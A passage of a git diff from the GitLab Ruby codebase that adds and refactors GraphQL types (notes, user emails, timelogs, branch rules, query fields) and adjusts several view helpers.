- connection_type_class(Types::CountableConnectionType)
+ connection_type_class(RunnerCountableConnectionType)
authorize :read_runner
present_using ::Ci::RunnerPresenter
@@ -38,10 +38,9 @@ module Types
field :executor_name, GraphQL::Types::String, null: true,
description: 'Executor last advertised by the runner.',
method: :executor_name
- field :groups, 'Types::GroupConnection',
- null: true,
- resolver: ::Resolvers::Ci::RunnerGroupsResolver,
- description: 'Groups the runner is associated with. For group runners only.'
+ field :groups, null: true,
+ resolver: ::Resolvers::Ci::RunnerGroupsResolver,
+ description: 'Groups the runner is associated with. For group runners only.'
field :id, ::Types::GlobalIDType[::Ci::Runner], null: false,
description: 'ID of the runner.'
field :ip_address, GraphQL::Types::String, null: true,
diff --git a/app/graphql/types/description_version_type.rb b/app/graphql/types/description_version_type.rb
new file mode 100644
index 00000000000..bee30597e4c
--- /dev/null
+++ b/app/graphql/types/description_version_type.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+module Types
+ class DescriptionVersionType < BaseObject
+ graphql_name 'DescriptionVersion'
+
+ authorize :read_issuable
+
+ field :id, ::Types::GlobalIDType[::DescriptionVersion],
+ null: false,
+ description: 'ID of the description version.'
+
+ field :description, GraphQL::Types::String,
+ null: true,
+ description: 'Content of the given description version.'
+ end
+end
+
+Types::DescriptionVersionType.prepend_mod
diff --git a/app/graphql/types/issue_type.rb b/app/graphql/types/issue_type.rb
index dd2ad26ce49..4948063610a 100644
--- a/app/graphql/types/issue_type.rb
+++ b/app/graphql/types/issue_type.rb
@@ -117,7 +117,6 @@ module Types
description: 'Collection of design images associated with this issue.'
field :type, Types::IssueTypeEnum, null: true,
- method: :issue_type,
description: 'Type of the issue.'
field :alert_management_alert,
@@ -198,6 +197,14 @@ module Types
def escalation_status
object.supports_escalation? ? object.escalation_status&.status_name : nil
end
+
+ def type
+ if Feature.enabled?(:issue_type_uses_work_item_types_table)
+ object.work_item_type.base_type
+ else
+ object.issue_type
+ end
+ end
end
end
diff --git a/app/graphql/types/issues/unioned_issue_filter_input_type.rb b/app/graphql/types/issues/unioned_issue_filter_input_type.rb
index 9c7261279c7..a9c5b3c24ce 100644
--- a/app/graphql/types/issues/unioned_issue_filter_input_type.rb
+++ b/app/graphql/types/issues/unioned_issue_filter_input_type.rb
@@ -11,6 +11,9 @@ module Types
argument :author_usernames, [GraphQL::Types::String],
required: false,
description: 'Filters issues that are authored by one of the given users.'
+ argument :label_names, [GraphQL::Types::String],
+ required: false,
+ description: 'Filters issues that have at least one of the given labels.'
end
end
end
diff --git a/app/graphql/types/member_access_level_enum.rb b/app/graphql/types/member_access_level_enum.rb
new file mode 100644
index 00000000000..8f89b882641
--- /dev/null
+++ b/app/graphql/types/member_access_level_enum.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+module Types
+ class MemberAccessLevelEnum < BaseEnum
+ graphql_name 'MemberAccessLevel'
+ description 'Access level of a group or project member'
+
+ value 'GUEST', value: Gitlab::Access::GUEST, description: 'Guest access.'
+ value 'REPORTER', value: Gitlab::Access::REPORTER, description: 'Reporter access.'
+ value 'DEVELOPER', value: Gitlab::Access::DEVELOPER, description: 'Developer access.'
+ value 'MAINTAINER', value: Gitlab::Access::MAINTAINER, description: 'Maintainer access.'
+ value 'OWNER', value: Gitlab::Access::OWNER, description: 'Owner access.'
+ end
+end
+
+Types::MemberAccessLevelEnum.prepend_mod_with('Types::MemberAccessLevelEnum')
diff --git a/app/graphql/types/member_interface.rb b/app/graphql/types/member_interface.rb
index edadbcddfb3..4c9ee6246a3 100644
--- a/app/graphql/types/member_interface.rb
+++ b/app/graphql/types/member_interface.rb
@@ -46,7 +46,7 @@ module Types
def merge_request_interaction(id: nil)
Gitlab::Graphql::Lazy.with_value(GitlabSchema.object_from_id(id, expected_class: ::MergeRequest)) do |merge_request|
- Users::MergeRequestInteraction.new(user: object.user, merge_request: merge_request) if merge_request
+ ::Users::MergeRequestInteraction.new(user: object.user, merge_request: merge_request) if merge_request
end
end
end
diff --git a/app/graphql/types/merge_requests/interacts_with_merge_request.rb b/app/graphql/types/merge_requests/interacts_with_merge_request.rb
index bef2d39dc5c..672a2a315d4 100644
--- a/app/graphql/types/merge_requests/interacts_with_merge_request.rb
+++ b/app/graphql/types/merge_requests/interacts_with_merge_request.rb
@@ -16,7 +16,7 @@ module Types
def merge_request_interaction(parent:, id: nil)
# need the connection parent if called from a connection node:
parent = parent.parent if parent.try(:field)&.connection?
- Users::MergeRequestInteraction.new(user: object, merge_request: parent)
+ ::Users::MergeRequestInteraction.new(user: object, merge_request: parent)
end
end
end
diff --git a/app/graphql/types/mutation_type.rb b/app/graphql/types/mutation_type.rb
index b342e57804b..5a92ba754aa 100644
--- a/app/graphql/types/mutation_type.rb
+++ b/app/graphql/types/mutation_type.rb
@@ -6,6 +6,7 @@ module Types
include Gitlab::Graphql::MountMutation
+ mount_mutation Mutations::Achievements::Create
mount_mutation Mutations::Admin::SidekiqQueues::DeleteJobs
mount_mutation Mutations::AlertManagement::CreateAlertIssue
mount_mutation Mutations::AlertManagement::UpdateAlertStatus
@@ -66,6 +67,7 @@ module Types
mount_mutation Mutations::Issues::LinkAlerts
mount_mutation Mutations::Issues::UnlinkAlert
mount_mutation Mutations::Labels::Create
+ mount_mutation Mutations::Members::Groups::BulkUpdate
mount_mutation Mutations::MergeRequests::Accept
mount_mutation Mutations::MergeRequests::Create
mount_mutation Mutations::MergeRequests::Update
diff --git a/app/graphql/types/namespace/shared_runners_setting_enum.rb b/app/graphql/types/namespace/shared_runners_setting_enum.rb
index 4773e414aeb..fd067c9d803 100644
--- a/app/graphql/types/namespace/shared_runners_setting_enum.rb
+++ b/app/graphql/types/namespace/shared_runners_setting_enum.rb
@@ -4,10 +4,21 @@ module Types
class Namespace::SharedRunnersSettingEnum < BaseEnum
graphql_name 'SharedRunnersSetting'
- ::Namespace::SHARED_RUNNERS_SETTINGS.each do |type|
+ DEPRECATED_SETTINGS = [::Namespace::SR_DISABLED_WITH_OVERRIDE].freeze
+
+ ::Namespace::SHARED_RUNNERS_SETTINGS.excluding(DEPRECATED_SETTINGS).each do |type|
value type.upcase,
description: "Sharing of runners is #{type.tr('_', ' ')}.",
value: type
end
+
+ value ::Namespace::SR_DISABLED_WITH_OVERRIDE.upcase,
+ description: "Sharing of runners is disabled and overridable.",
+ value: ::Namespace::SR_DISABLED_WITH_OVERRIDE,
+ deprecated: {
+ reason: :renamed,
+ replacement: ::Namespace::SR_DISABLED_AND_OVERRIDABLE,
+ milestone: "17.0"
+ }
end
end
diff --git a/app/graphql/types/namespace_type.rb b/app/graphql/types/namespace_type.rb
index 0f634e7c2d3..fc55ff512b6 100644
--- a/app/graphql/types/namespace_type.rb
+++ b/app/graphql/types/namespace_type.rb
@@ -63,6 +63,13 @@ module Types
description: "Timelog categories for the namespace.",
alpha: { milestone: '15.3' }
+ field :achievements,
+ Types::Achievements::AchievementType.connection_type,
+ null: true,
+ alpha: { milestone: '15.8' },
+ description: "Achievements for the namespace. " \
+ "Returns `null` if the `achievements` feature flag is disabled."
+
markdown_field :description_html, null: true
def timelog_categories
@@ -76,6 +83,10 @@ module Types
def root_storage_statistics
Gitlab::Graphql::Loaders::BatchRootStorageStatisticsLoader.new(object.id).find
end
+
+ def achievements
+ object.achievements if Feature.enabled?(:achievements, object)
+ end
end
end
diff --git a/app/graphql/types/notes/note_type.rb b/app/graphql/types/notes/note_type.rb
index 05629ea9223..5055facb21b 100644
--- a/app/graphql/types/notes/note_type.rb
+++ b/app/graphql/types/notes/note_type.rb
@@ -11,54 +11,72 @@ module Types
implements(Types::ResolvableInterface)
- field :id, ::Types::GlobalIDType[::Note], null: false,
- description: 'ID of the note.'
+ field :id, ::Types::GlobalIDType[::Note],
+ null: false,
+ description: 'ID of the note.'
field :project, Types::ProjectType,
- null: true,
- description: 'Project associated with the note.'
+ null: true,
+ description: 'Project associated with the note.'
field :author, Types::UserType,
- null: false,
- description: 'User who wrote this note.'
+ null: false,
+ description: 'User who wrote this note.'
field :system, GraphQL::Types::Boolean,
- null: false,
- description: 'Indicates whether this note was created by the system or by a user.'
+ null: false,
+ description: 'Indicates whether this note was created by the system or by a user.'
field :system_note_icon_name,
- GraphQL::Types::String,
- null: true,
- description: 'Name of the icon corresponding to a system note.'
+ GraphQL::Types::String,
+ null: true,
+ description: 'Name of the icon corresponding to a system note.'
field :body, GraphQL::Types::String,
- null: false,
- method: :note,
- description: 'Content of the note.'
-
- field :confidential, GraphQL::Types::Boolean, null: true,
- description: 'Indicates if this note is confidential.',
- method: :confidential?,
- deprecated: {
- reason: :renamed,
- replacement: 'internal',
- milestone: '15.5'
- }
-
- field :internal, GraphQL::Types::Boolean, null: true,
- description: 'Indicates if this note is internal.',
- method: :confidential?
-
- field :created_at, Types::TimeType, null: false,
- description: 'Timestamp of the note creation.'
- field :discussion, Types::Notes::DiscussionType, null: true,
- description: 'Discussion this note is a part of.'
- field :position, Types::Notes::DiffPositionType, null: true,
- description: 'Position of this note on a diff.'
- field :updated_at, Types::TimeType, null: false,
- description: "Timestamp of the note's last activity."
+ null: false,
+ method: :note,
+ description: 'Content of the note.'
+
+ field :confidential, GraphQL::Types::Boolean,
+ null: true,
+ description: 'Indicates if this note is confidential.',
+ method: :confidential?,
+ deprecated: {
+ reason: :renamed,
+ replacement: 'internal',
+ milestone: '15.5'
+ }
+
+ field :internal, GraphQL::Types::Boolean,
+ null: true,
+ description: 'Indicates if this note is internal.',
+ method: :confidential?
+
+ field :created_at, Types::TimeType,
+ null: false,
+ description: 'Timestamp of the note creation.'
+ field :discussion, Types::Notes::DiscussionType,
+ null: true,
+ description: 'Discussion this note is a part of.'
+ field :position, Types::Notes::DiffPositionType,
+ null: true,
+ description: 'Position of this note on a diff.'
+ field :updated_at, Types::TimeType,
+ null: false,
+ description: "Timestamp of the note's last activity."
field :url, GraphQL::Types::String,
- null: true,
- description: 'URL to view this Note in the Web UI.'
+ null: true,
+ description: 'URL to view this Note in the Web UI.'
+
+ field :last_edited_at, Types::TimeType,
+ null: true,
+ description: 'Timestamp when note was last edited.'
+ field :last_edited_by, Types::UserType,
+ null: true,
+ description: 'User who last edited the note.'
+
+ field :system_note_metadata, Types::Notes::SystemNoteMetadataType,
+ null: true,
+ description: 'Metadata for the given note if it is a system note.'
markdown_field :body_html, null: true, method: :note
diff --git a/app/graphql/types/notes/noteable_interface.rb b/app/graphql/types/notes/noteable_interface.rb
index bd22f12d6f0..537084dff62 100644
--- a/app/graphql/types/notes/noteable_interface.rb
+++ b/app/graphql/types/notes/noteable_interface.rb
@@ -7,6 +7,7 @@ module Types
field :notes, Types::Notes::NoteType.connection_type, null: false, description: "All notes on this noteable."
field :discussions, Types::Notes::DiscussionType.connection_type, null: false, description: "All discussions on this noteable."
+ field :commenters, Types::UserType.connection_type, null: false, description: "All commenters on this noteable."
def self.resolve_type(object, context)
case object
@@ -24,6 +25,10 @@ module Types
raise "Unknown GraphQL type for #{object}"
end
end
+
+ def commenters
+ object.commenters(user: current_user)
+ end
end
end
end
diff --git a/app/graphql/types/notes/system_note_metadata_type.rb b/app/graphql/types/notes/system_note_metadata_type.rb
new file mode 100644
index 00000000000..b3dd7e037f9
--- /dev/null
+++ b/app/graphql/types/notes/system_note_metadata_type.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+module Types
+ module Notes
+ class SystemNoteMetadataType < BaseObject
+ graphql_name 'SystemNoteMetadata'
+
+ authorize :read_note
+
+ field :id, ::Types::GlobalIDType[::SystemNoteMetadata],
+ null: false,
+ description: 'Global ID of the specific system note metadata.'
+
+ field :action, GraphQL::Types::String,
+ null: true,
+ description: 'System note metadata action.'
+ field :description_version, ::Types::DescriptionVersionType,
+ null: true,
+ description: 'Version of the changed description.'
+ end
+ end
+end
diff --git a/app/graphql/types/projects/branch_rule_type.rb b/app/graphql/types/projects/branch_rule_type.rb
index 1afd2cc3fef..08b1203d4a3 100644
--- a/app/graphql/types/projects/branch_rule_type.rb
+++ b/app/graphql/types/projects/branch_rule_type.rb
@@ -5,7 +5,6 @@ module Types
class BranchRuleType < BaseObject
graphql_name 'BranchRule'
description 'List of branch rules for a project, grouped by branch name.'
- accepts ::ProtectedBranch
authorize :read_protected_branch
alias_method :branch_rule, :object
@@ -22,6 +21,12 @@ module Types
calls_gitaly: true,
description: "Check if this branch rule protects the project's default branch."
+ field :is_protected,
+ type: GraphQL::Types::Boolean,
+ null: false,
+ method: :protected?,
+ description: "Check if this branch rule protects access for the branch."
+
field :matching_branches_count,
type: GraphQL::Types::Int,
null: false,
@@ -30,9 +35,8 @@ module Types
field :branch_protection,
type: Types::BranchRules::BranchProtectionType,
- null: false,
- description: 'Branch protections configured for this branch rule.',
- method: :itself
+ null: true,
+ description: 'Branch protections configured for this branch rule.'
field :created_at,
Types::TimeType,
@@ -43,10 +47,6 @@ module Types
Types::TimeType,
null: false,
description: 'Timestamp of when the branch rule was last updated.'
-
- def matching_branches_count
- branch_rule.matching(branch_rule.project.repository.branch_names).count
- end
end
end
end
diff --git a/app/graphql/types/query_type.rb b/app/graphql/types/query_type.rb
index 7263f792bae..990ba1fb7fc 100644
--- a/app/graphql/types/query_type.rb
+++ b/app/graphql/types/query_type.rb
@@ -7,56 +7,17 @@ module Types
# The design management context object needs to implement #issue
DesignManagementObject = Struct.new(:issue)
- field :project, Types::ProjectType,
- null: true,
- resolver: Resolvers::ProjectResolver,
- description: "Find a project."
-
- field :projects, Types::ProjectType.connection_type,
- null: true,
- resolver: Resolvers::ProjectsResolver,
- description: "Find projects visible to the current user."
-
- field :group, Types::GroupType,
- null: true,
- resolver: Resolvers::GroupResolver,
- description: "Find a group."
-
- field :current_user, Types::UserType,
- null: true,
- description: "Get information about current user."
-
- field :namespace, Types::NamespaceType,
- null: true,
- resolver: Resolvers::NamespaceResolver,
- description: "Find a namespace."
-
- field :metadata, Types::MetadataType,
- null: true,
- resolver: Resolvers::MetadataResolver,
- description: 'Metadata about GitLab.'
-
- field :query_complexity, Types::QueryComplexityType,
+ field :board_list, ::Types::BoardListType,
null: true,
- description: 'Information about the complexity of the GraphQL query.'
-
- field :snippets,
- Types::SnippetType.connection_type,
+ resolver: Resolvers::BoardListResolver
+ field :ci_application_settings, Types::Ci::ApplicationSettingType,
null: true,
- resolver: Resolvers::SnippetsResolver,
- description: 'Find Snippets visible to the current user.'
-
- field :design_management, Types::DesignManagementType,
- null: false,
- description: 'Fields related to design management.'
-
- field :milestone, ::Types::MilestoneType,
+ description: 'CI related settings that apply to the entire instance.'
+ field :ci_config, resolver: Resolvers::Ci::ConfigResolver, complexity: 126 # AUTHENTICATED_MAX_COMPLEXITY / 2 + 1
+ field :ci_variables,
+ Types::Ci::InstanceVariableType.connection_type,
null: true,
- extras: [:lookahead],
- description: 'Find a milestone.' do
- argument :id, ::Types::GlobalIDType[Milestone], required: true, description: 'Find a milestone by its ID.'
- end
-
+ description: "List of the instance's CI/CD variables."
field :container_repository, Types::ContainerRepositoryDetailsType,
null: true,
description: 'Find a container repository.' do
@@ -65,107 +26,116 @@ module Types
required: true,
description: 'Global ID of the container repository.'
end
-
- field :package,
- description: 'Find a package. This field can only be resolved for one query in any single request. Returns `null` if a package has no `default` status.',
- resolver: Resolvers::PackageDetailsResolver
-
- field :user, Types::UserType,
- null: true,
- description: 'Find a user.',
- resolver: Resolvers::UserResolver
-
- field :users, Types::UserType.connection_type,
+ field :current_user, Types::UserType,
null: true,
- description: 'Find users.',
- resolver: Resolvers::UsersResolver
-
+ description: "Get information about current user."
+ field :design_management, Types::DesignManagementType,
+ null: false,
+ description: 'Fields related to design management.'
field :echo, resolver: Resolvers::EchoResolver
-
- field :issues,
+ field :gitpod_enabled, GraphQL::Types::Boolean,
null: true,
- alpha: { milestone: '15.6' },
- resolver: Resolvers::IssuesResolver,
- description: 'Issues visible by the current user.' \
- ' Returns null if the `root_level_issues_query` feature flag is disabled.'
-
+ description: "Whether Gitpod is enabled in application settings."
+ field :group, Types::GroupType,
+ null: true,
+ resolver: Resolvers::GroupResolver,
+ description: "Find a group."
field :issue, Types::IssueType,
null: true,
description: 'Find an issue.' do
argument :id, ::Types::GlobalIDType[::Issue], required: true, description: 'Global ID of the issue.'
end
-
- field :work_item, Types::WorkItemType,
+ field :issues,
null: true,
- resolver: Resolvers::WorkItemResolver,
- alpha: { milestone: '15.1' },
- description: 'Find a work item.'
-
+ alpha: { milestone: '15.6' },
+ resolver: Resolvers::IssuesResolver,
+ description: 'Find issues visible to the current user.' \
+ ' At least one filter must be provided.' \
+ ' Returns `null` if the `root_level_issues_query` feature flag is disabled.'
+ field :jobs,
+ ::Types::Ci::JobType.connection_type,
+ null: true,
+ description: 'All jobs on this GitLab instance.',
+ resolver: ::Resolvers::Ci::AllJobsResolver
field :merge_request, Types::MergeRequestType,
null: true,
description: 'Find a merge request.' do
argument :id, ::Types::GlobalIDType[::MergeRequest], required: true, description: 'Global ID of the merge request.'
end
-
- field :usage_trends_measurements, Types::Admin::Analytics::UsageTrends::MeasurementType.connection_type,
+ field :metadata, Types::MetadataType,
null: true,
- description: 'Get statistics on the instance.',
- resolver: Resolvers::Admin::Analytics::UsageTrends::MeasurementsResolver
-
- field :ci_application_settings, Types::Ci::ApplicationSettingType,
+ resolver: Resolvers::MetadataResolver,
+ description: 'Metadata about GitLab.'
+ field :milestone, ::Types::MilestoneType,
null: true,
- description: 'CI related settings that apply to the entire instance.'
-
- field :runner_platforms, resolver: Resolvers::Ci::RunnerPlatformsResolver
- field :runner_setup, resolver: Resolvers::Ci::RunnerSetupResolver
-
+ extras: [:lookahead],
+ description: 'Find a milestone.' do
+ argument :id, ::Types::GlobalIDType[Milestone], required: true, description: 'Find a milestone by its ID.'
+ end
+ field :namespace, Types::NamespaceType,
+ null: true,
+ resolver: Resolvers::NamespaceResolver,
+ description: "Find a namespace."
+ field :package,
+ description: 'Find a package. This field can only be resolved for one query in any single request. Returns `null` if a package has no `default` status.',
+ resolver: Resolvers::PackageDetailsResolver
+ field :project, Types::ProjectType,
+ null: true,
+ resolver: Resolvers::ProjectResolver,
+ description: "Find a project."
+ field :projects, Types::ProjectType.connection_type,
+ null: true,
+ resolver: Resolvers::ProjectsResolver,
+ description: "Find projects visible to the current user."
+ field :query_complexity, Types::QueryComplexityType,
+ null: true,
+ description: 'Information about the complexity of the GraphQL query.'
field :runner, Types::Ci::RunnerType,
null: true,
resolver: Resolvers::Ci::RunnerResolver,
extras: [:lookahead],
description: "Find a runner."
-
+ field :runner_platforms, resolver: Resolvers::Ci::RunnerPlatformsResolver
+ field :runner_setup, resolver: Resolvers::Ci::RunnerSetupResolver
field :runners, Types::Ci::RunnerType.connection_type,
null: true,
resolver: Resolvers::Ci::RunnersResolver,
description: "Find runners visible to the current user."
-
- field :ci_variables,
- Types::Ci::InstanceVariableType.connection_type,
+ field :snippets,
+ Types::SnippetType.connection_type,
null: true,
- description: "List of the instance's CI/CD variables."
-
- field :ci_config, resolver: Resolvers::Ci::ConfigResolver, complexity: 126 # AUTHENTICATED_MAX_COMPLEXITY / 2 + 1
-
+ resolver: Resolvers::SnippetsResolver,
+ description: 'Find Snippets visible to the current user.'
field :timelogs, Types::TimelogType.connection_type,
null: true,
description: 'Find timelogs visible to the current user.',
extras: [:lookahead],
complexity: 5,
resolver: ::Resolvers::TimelogResolver
-
- field :board_list, ::Types::BoardListType,
- null: true,
- resolver: Resolvers::BoardListResolver
-
field :todo,
null: true,
resolver: Resolvers::TodoResolver
-
field :topics, Types::Projects::TopicType.connection_type,
null: true,
resolver: Resolvers::TopicsResolver,
description: "Find project topics."
-
- field :gitpod_enabled, GraphQL::Types::Boolean,
+ field :usage_trends_measurements, Types::Admin::Analytics::UsageTrends::MeasurementType.connection_type,
null: true,
- description: "Whether Gitpod is enabled in application settings."
-
- field :jobs,
- ::Types::Ci::JobType.connection_type,
+ description: 'Get statistics on the instance.',
+ resolver: Resolvers::Admin::Analytics::UsageTrends::MeasurementsResolver
+ field :user, Types::UserType,
null: true,
- description: 'All jobs on this GitLab instance.',
- resolver: ::Resolvers::Ci::AllJobsResolver
+ description: 'Find a user.',
+ resolver: Resolvers::UserResolver
+ field :users, Types::UserType.connection_type,
+ null: true,
+ description: 'Find users.',
+ resolver: Resolvers::UsersResolver
+ field :work_item, Types::WorkItemType,
+ null: true,
+ resolver: Resolvers::WorkItemResolver,
+ alpha: { milestone: '15.1' },
+ description: 'Find a work item.'
def design_management
DesignManagementObject.new(nil)
diff --git a/app/graphql/types/repository/blob_type.rb b/app/graphql/types/repository/blob_type.rb
index 8c90a8df611..c5d6e26e94b 100644
--- a/app/graphql/types/repository/blob_type.rb
+++ b/app/graphql/types/repository/blob_type.rb
@@ -44,11 +44,11 @@ module Types
field :fork_and_view_path, GraphQL::Types::String, null: true,
description: 'Web path to view this blob using a forked project.'
- field :size, GraphQL::Types::Int, null: true,
- description: 'Size (in bytes) of the blob.'
+ field :size, GraphQL::Types::BigInt, null: true,
+ description: 'Size (in bytes) of the blob.'
- field :raw_size, GraphQL::Types::Int, null: true,
- description: 'Size (in bytes) of the blob, or the blob target if stored externally.'
+ field :raw_size, GraphQL::Types::BigInt, null: true,
+ description: 'Size (in bytes) of the blob, or the blob target if stored externally.'
field :raw_blob, GraphQL::Types::String, null: true, method: :data,
description: 'Raw content of the blob.'
diff --git a/app/graphql/types/time_tracking/timelog_connection_type.rb b/app/graphql/types/time_tracking/timelog_connection_type.rb
new file mode 100644
index 00000000000..43e6955c2a3
--- /dev/null
+++ b/app/graphql/types/time_tracking/timelog_connection_type.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+module Types
+ module TimeTracking
+ # rubocop: disable Graphql/AuthorizeTypes
+ class TimelogConnectionType < CountableConnectionType
+ field :total_spent_time,
+ GraphQL::Types::Int,
+ null: false,
+ description: 'Total time spent in seconds.'
+
+ def total_spent_time
+ # rubocop: disable CodeReuse/ActiveRecord
+ relation = object.items
+
+ # sometimes relation is an Array
+ relation = relation.reorder(nil) if relation.respond_to?(:reorder)
+ # rubocop: enable CodeReuse/ActiveRecord
+
+ relation.sum(:time_spent)
+ end
+ end
+ # rubocop: enable Graphql/AuthorizeTypes
+ end
+end
diff --git a/app/graphql/types/time_tracking/timelog_sort_enum.rb b/app/graphql/types/time_tracking/timelog_sort_enum.rb
new file mode 100644
index 00000000000..ad21c084d78
--- /dev/null
+++ b/app/graphql/types/time_tracking/timelog_sort_enum.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+module Types
+ module TimeTracking
+ class TimelogSortEnum < SortEnum
+ graphql_name 'TimelogSort'
+ description 'Values for sorting timelogs'
+
+ sortable_fields = ['Spent at', 'Time spent']
+
+ sortable_fields.each do |field|
+ value "#{field.upcase.tr(' ', '_')}_ASC",
+ value: { field: field.downcase.tr(' ', '_'), direction: :asc },
+ description: "#{field} by ascending order."
+ value "#{field.upcase.tr(' ', '_')}_DESC",
+ value: { field: field.downcase.tr(' ', '_'), direction: :desc },
+ description: "#{field} by descending order."
+ end
+ end
+ end
+end
diff --git a/app/graphql/types/timelog_type.rb b/app/graphql/types/timelog_type.rb
index 3856e1aa3b3..3a060518cd9 100644
--- a/app/graphql/types/timelog_type.rb
+++ b/app/graphql/types/timelog_type.rb
@@ -4,6 +4,8 @@ module Types
class TimelogType < BaseObject
graphql_name 'Timelog'
+ connection_type_class(Types::TimeTracking::TimelogConnectionType)
+
authorize :read_issuable
expose_permissions Types::PermissionTypes::Timelog
diff --git a/app/graphql/types/todo_action_enum.rb b/app/graphql/types/todo_action_enum.rb
index 33e1c4e98a4..fda96796c0f 100644
--- a/app/graphql/types/todo_action_enum.rb
+++ b/app/graphql/types/todo_action_enum.rb
@@ -11,6 +11,6 @@ module Types
value 'directly_addressed', value: 7, description: 'User was directly addressed.'
value 'merge_train_removed', value: 8, description: 'Merge request authored by the user was removed from the merge train.'
value 'review_requested', value: 9, description: 'Review was requested from the user.'
- value 'member_access_requested', value: 10, description: 'Group access requested from the user.'
+ value 'member_access_requested', value: 10, description: 'Group or project access requested from the user.'
end
end
diff --git a/app/graphql/types/user_interface.rb b/app/graphql/types/user_interface.rb
index 51046d09f90..a5bed3b9e19 100644
--- a/app/graphql/types/user_interface.rb
+++ b/app/graphql/types/user_interface.rb
@@ -42,10 +42,23 @@ module Types
null: true,
description: 'User email.', method: :public_email,
deprecated: { reason: :renamed, replacement: 'User.publicEmail', milestone: '13.7' }
+ field :emails,
+ type: Types::Users::EmailType.connection_type,
+ null: true,
+ description: "User's email addresses."
field :public_email,
type: GraphQL::Types::String,
null: true,
description: "User's public email."
+ field :commit_email,
+ type: GraphQL::Types::String,
+ null: true,
+ description: "User's default commit email.",
+ authorize: :read_user_email_address
+ field :namespace_commit_emails,
+ type: Types::Users::NamespaceCommitEmailType.connection_type,
+ null: true,
+ description: "User's custom namespace commit emails."
field :avatar_url,
type: GraphQL::Types::String,
null: true,
diff --git a/app/graphql/types/users/email_type.rb b/app/graphql/types/users/email_type.rb
new file mode 100644
index 00000000000..5e0b9563f57
--- /dev/null
+++ b/app/graphql/types/users/email_type.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+module Types
+ module Users
+ class EmailType < BaseObject
+ graphql_name 'Email'
+
+ authorize :read_user_email_address
+
+ field :id,
+ GraphQL::Types::ID,
+ null: false,
+ description: 'Internal ID of the email.'
+
+ field :email,
+ GraphQL::Types::String,
+ null: false,
+ description: 'Email address.'
+
+ field :confirmed_at,
+ Types::TimeType,
+ null: true,
+ description: 'Timestamp the email was confirmed.'
+
+ field :created_at,
+ Types::TimeType,
+ null: false,
+ description: 'Timestamp the email was created.'
+
+ field :updated_at,
+ Types::TimeType,
+ null: false,
+ description: 'Timestamp the email was last updated.'
+ end
+ end
+end
diff --git a/app/graphql/types/users/namespace_commit_email_type.rb b/app/graphql/types/users/namespace_commit_email_type.rb
new file mode 100644
index 00000000000..a64423c7169
--- /dev/null
+++ b/app/graphql/types/users/namespace_commit_email_type.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+module Types
+ module Users
+ class NamespaceCommitEmailType < BaseObject
+ graphql_name 'NamespaceCommitEmail'
+
+ authorize :read_user_email_address
+
+ field :id,
+ GraphQL::Types::ID,
+ null: false,
+ description: 'Internal ID of the namespace commit email.'
+
+ field :email,
+ Types::Users::EmailType,
+ null: false,
+ description: 'Email.'
+
+ field :namespace,
+ Types::NamespaceType,
+ null: false,
+ description: 'Namespace.'
+
+ field :created_at,
+ Types::TimeType,
+ null: false,
+ description: 'Timestamp the namespace commit email was created.'
+
+ field :updated_at,
+ Types::TimeType,
+ null: false,
+ description: 'Timestamp the namespace commit email was last updated.'
+ end
+ end
+end
diff --git a/app/graphql/types/work_items/widgets/description_type.rb b/app/graphql/types/work_items/widgets/description_type.rb
index 4861f7f46d8..92dca965b59 100644
--- a/app/graphql/types/work_items/widgets/description_type.rb
+++ b/app/graphql/types/work_items/widgets/description_type.rb
@@ -26,9 +26,7 @@ module Types
null: true,
description: 'User that made the last edit to the work item\'s description.'
- markdown_field :description_html, null: true do |resolved_object|
- resolved_object.work_item
- end
+ markdown_field :description_html, null: true, &:work_item
end
# rubocop:enable Graphql/AuthorizeTypes
end
diff --git a/app/helpers/admin/components_helper.rb b/app/helpers/admin/components_helper.rb
new file mode 100644
index 00000000000..577c12a0184
--- /dev/null
+++ b/app/helpers/admin/components_helper.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module Admin
+ module ComponentsHelper
+ def database_versions
+ Gitlab::Database.database_base_models.transform_values do |base_model|
+ reflection = ::Gitlab::Database::Reflection.new(base_model)
+ {
+ adapter_name: reflection.human_adapter_name,
+ version: reflection.version
+ }
+ end.symbolize_keys
+ end
+ end
+end
diff --git a/app/helpers/appearances_helper.rb b/app/helpers/appearances_helper.rb
index 9a323852996..ab743e27603 100644
--- a/app/helpers/appearances_helper.rb
+++ b/app/helpers/appearances_helper.rb
@@ -4,6 +4,10 @@ module AppearancesHelper
include MarkupHelper
include Gitlab::Utils::StrongMemoize
+ def appearance_short_name
+ Appearance.current&.pwa_short_name.presence || _('GitLab')
+ end
+
def brand_title
current_appearance&.title.presence || default_brand_title
end
diff --git a/app/helpers/application_helper.rb b/app/helpers/application_helper.rb
index c78563a9a5f..f4b34044e0e 100644
--- a/app/helpers/application_helper.rb
+++ b/app/helpers/application_helper.rb
@@ -20,23 +20,15 @@ module ApplicationHelper
def dispensable_render(...)
render(...)
rescue StandardError => e
- if Feature.enabled?(:dispensable_render)
- Gitlab::ErrorTracking.track_and_raise_for_dev_exception(e)
- nil
- else
- raise e
- end
+ Gitlab::ErrorTracking.track_and_raise_for_dev_exception(e)
+ nil
end
def dispensable_render_if_exists(...)
render_if_exists(...)
rescue StandardError => e
- if Feature.enabled?(:dispensable_render)
- Gitlab::ErrorTracking.track_and_raise_for_dev_exception(e)
- nil
- else
- raise e
- end
+ Gitlab::ErrorTracking.track_and_raise_for_dev_exception(e)
+ nil
end
def partial_exists?(partial)
@@ -183,6 +175,8 @@ module ApplicationHelper
#
# Returns an HTML-safe String
def time_ago_with_tooltip(time, placement: 'top', html_class: '', short_format: false)
+ return "" if time.nil?
+
css_classes = [short_format ? 'js-short-timeago' : 'js-timeago']
css_classes << html_class unless html_class.blank?
@@ -242,7 +236,7 @@ module ApplicationHelper
end
def instance_review_permitted?
- ::Gitlab::CurrentSettings.instance_review_permitted? && current_user&.admin?
+ ::Gitlab::CurrentSettings.instance_review_permitted? && current_user&.can_read_all_resources?
end
def static_objects_external_storage_enabled?
diff --git a/app/helpers/application_settings_helper.rb b/app/helpers/application_settings_helper.rb
index 2b2ac262848..339938245a0 100644
--- a/app/helpers/application_settings_helper.rb
